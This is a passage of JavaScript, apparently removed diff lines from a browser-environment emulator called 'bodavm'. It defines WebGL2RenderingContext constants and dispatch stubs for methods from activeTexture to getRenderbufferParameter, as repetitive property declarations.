{configurable:false, enumerable:true, writable:false, value:36387},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", {configurable:false, enumerable:true, writable:false, value:36388},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", {configurable:false, enumerable:true, writable:false, value:36389},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", {configurable:false, enumerable:true, writable:false, value:37167},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", {configurable:false, enumerable:true, writable:false, value:36203},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", {configurable:false, enumerable:true, writable:false, value:33503},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", {configurable:false, enumerable:true, writable:false, value:-1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37447},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "activeTexture", {configurable:true, enumerable:true, writable:true, value:function activeTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "activeTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "attachShader", {configurable:true, enumerable:true, writable:true, value:function attachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "attachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginQuery", {configurable:true, enumerable:true, writable:true, value:function beginQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function beginTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindAttribLocation", {configurable:true, enumerable:true, writable:true, value:function bindAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferBase", {configurable:true, enumerable:true, writable:true, value:function bindBufferBase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferBase", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferRange", {configurable:true, enumerable:true, writable:true, value:function bindBufferRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function bindRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindSampler", {configurable:true, enumerable:true, writable:true, value:function bindSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function bindTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindVertexArray", {configurable:true, enumerable:true, writable:true, value:function bindVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendColor", {configurable:true, enumerable:true, writable:true, value:function blendColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquation", {configurable:true, enumerable:true, writable:true, value:function blendEquation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquationSeparate", {configurable:true, enumerable:true, writable:true, value:function blendEquationSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquationSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFunc", {configurable:true, enumerable:true, writable:true, value:function blendFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function blendFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blitFramebuffer", {configurable:true, enumerable:true, writable:true, value:function blitFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blitFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferData", {configurable:true, enumerable:true, writable:true, value:function bufferData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferSubData", {configurable:true, enumerable:true, writable:true, value:function bufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "checkFramebufferStatus", {configurable:true, enumerable:true, writable:true, value:function checkFramebufferStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "checkFramebufferStatus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clientWaitSync", {configurable:true, enumerable:true, writable:true, value:function clientWaitSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clientWaitSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compileShader", {configurable:true, enumerable:true, writable:true, value:function compileShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compileShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage3D", {configurable:true, enumerable:true, writable:true, value:function compressedTexImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage3D", {configurable:true, enumerable:true, writable:true, value:function compressedTexSubImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyBufferSubData", {configurable:true, enumerable:true, writable:true, value:function copyBufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyBufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage3D", {configurable:true, enumerable:true, writable:true, value:function copyTexSubImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createFramebuffer", {configurable:true, enumerable:true, writable:true, value:function createFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createProgram", {configurable:true, enumerable:true, writable:true, value:function createProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createQuery", {configurable:true, enumerable:true, writable:true, value:function createQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function createRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createSampler", {configurable:true, enumerable:true, writable:true, value:function createSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createShader", {configurable:true, enumerable:true, writable:true, value:function createShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTexture", {configurable:true, enumerable:true, writable:true, value:function createTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function createTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createVertexArray", {configurable:true, enumerable:true, writable:true, value:function createVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "cullFace", {configurable:true, enumerable:true, writable:true, value:function cullFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "cullFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteBuffer", {configurable:true, enumerable:true, writable:true, value:function deleteBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteFramebuffer", {configurable:true, enumerable:true, writable:true, value:function deleteFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteProgram", {configurable:true, enumerable:true, writable:true, value:function deleteProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteQuery", {configurable:true, enumerable:true, writable:true, value:function deleteQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function deleteRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSampler", {configurable:true, enumerable:true, writable:true, value:function deleteSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteShader", {configurable:true, enumerable:true, writable:true, value:function deleteShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSync", {configurable:true, enumerable:true, writable:true, value:function deleteSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTexture", {configurable:true, enumerable:true, writable:true, value:function deleteTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function deleteTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteVertexArray", {configurable:true, enumerable:true, writable:true, value:function deleteVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthFunc", {configurable:true, enumerable:true, writable:true, value:function depthFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthMask", {configurable:true, enumerable:true, writable:true, value:function depthMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthRange", {configurable:true, enumerable:true, writable:true, value:function depthRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "detachShader", {configurable:true, enumerable:true, writable:true, value:function detachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "detachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disable", {configurable:true, enumerable:true, writable:true, value:function disable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArraysInstanced", {configurable:true, enumerable:true, writable:true, value:function drawArraysInstanced (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArraysInstanced", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElementsInstanced", {configurable:true, enumerable:true, writable:true, value:function drawElementsInstanced (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElementsInstanced", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawRangeElements", {configurable:true, enumerable:true, writable:true, value:function drawRangeElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawRangeElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enable", {configurable:true, enumerable:true, writable:true, value:function enable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endQuery", {configurable:true, enumerable:true, writable:true, value:function endQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function endTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "fenceSync", {configurable:true, enumerable:true, writable:true, value:function fenceSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "fenceSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "finish", {configurable:true, enumerable:true, writable:true, value:function finish (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "finish", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function framebufferRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTexture2D", {configurable:true, enumerable:true, writable:true, value:function framebufferTexture2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTexture2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTextureLayer", {configurable:true, enumerable:true, writable:true, value:function framebufferTextureLayer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTextureLayer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "frontFace", {configurable:true, enumerable:true, writable:true, value:function frontFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "frontFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "generateMipmap", {configurable:true, enumerable:true, writable:true, value:function generateMipmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "generateMipmap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveAttrib", {configurable:true, enumerable:true, writable:true, value:function getActiveAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniform", {configurable:true, enumerable:true, writable:true, value:function getActiveUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockName", {configurable:true, enumerable:true, writable:true, value:function getActiveUniformBlockName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockName", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockParameter", {configurable:true, enumerable:true, writable:true, value:function getActiveUniformBlockParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniforms", {configurable:true, enumerable:true, writable:true, value:function getActiveUniforms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniforms", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttachedShaders", {configurable:true, enumerable:true, writable:true, value:function getAttachedShaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttachedShaders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttribLocation", {configurable:true, enumerable:true, writable:true, value:function getAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferParameter", {configurable:true, enumerable:true, writable:true, value:function getBufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferSubData", {configurable:true, enumerable:true, writable:true, value:function getBufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getContextAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getError", {configurable:true, enumerable:true, writable:true, value:function getError (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getError", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getExtension", {configurable:true, enumerable:true, writable:true, value:function getExtension (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getExtension", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFragDataLocation", {configurable:true, enumerable:true, writable:true, value:function getFragDataLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFragDataLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFramebufferAttachmentParameter", {configurable:true, enumerable:true, writable:true, value:function getFramebufferAttachmentParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFramebufferAttachmentParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getIndexedParameter", {configurable:true, enumerable:true, writable:true, value:function getIndexedParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getIndexedParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getInternalformatParameter", {configurable:true, enumerable:true, writable:true, value:function getInternalformatParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getInternalformatParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getParameter", {configurable:true, enumerable:true, writable:true, value:function getParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramInfoLog", {configurable:true, enumerable:true, writable:true, value:function getProgramInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramParameter", {configurable:true, enumerable:true, writable:true, value:function getProgramParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQuery", {configurable:true, enumerable:true, writable:true, value:function getQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQueryParameter", {configurable:true, enumerable:true, writable:true, value:function getQueryParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQueryParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getRenderbufferParameter", {configurable:true, enumerable:true, writable:true, value:function getRenderbufferParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getRenderbufferParameter", arguments)}},'prototype'); 